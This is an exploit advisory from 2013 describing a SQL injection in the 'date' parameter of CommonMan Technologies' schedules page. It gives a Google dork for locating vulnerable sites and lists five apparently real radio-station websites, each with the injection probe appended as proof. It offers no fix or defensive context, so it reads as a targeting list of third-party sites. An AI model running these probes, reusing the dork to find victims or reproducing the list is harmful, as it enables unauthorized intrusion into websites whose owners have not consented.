#******************************************************************************** # Exploit Title : CommonMan Sql injection Vulnerabilites # # Software link : http://www.cmiti.com # # Exploit Author : Ashiyane Digital Security Team # # Tested on: Windows 7 , Linux # # Google Dork : intext:"Site Powered by CommonMan Technologies" # # Date: 2013/09/07 # -------------------------------------------------------------------- # Exploit : Sql Injection # # Location : [Target]/schedules/default.asp?date=[Sql Injection] # # # Proof: # # http://www.am1220wlpo.com/schedules/default.asp?date=1' # # http://www.20inarowcountry.com/schedules/default.asp?date=1' # # http://www.965thewolf.com/schedules/default.asp?date=1' # # http://www.wkot.com/schedules/default.asp?date=1' # # http://wlpoamandfm.com/schedules/default.asp?date=1' # ###################### discovered by : ACC3SS ######################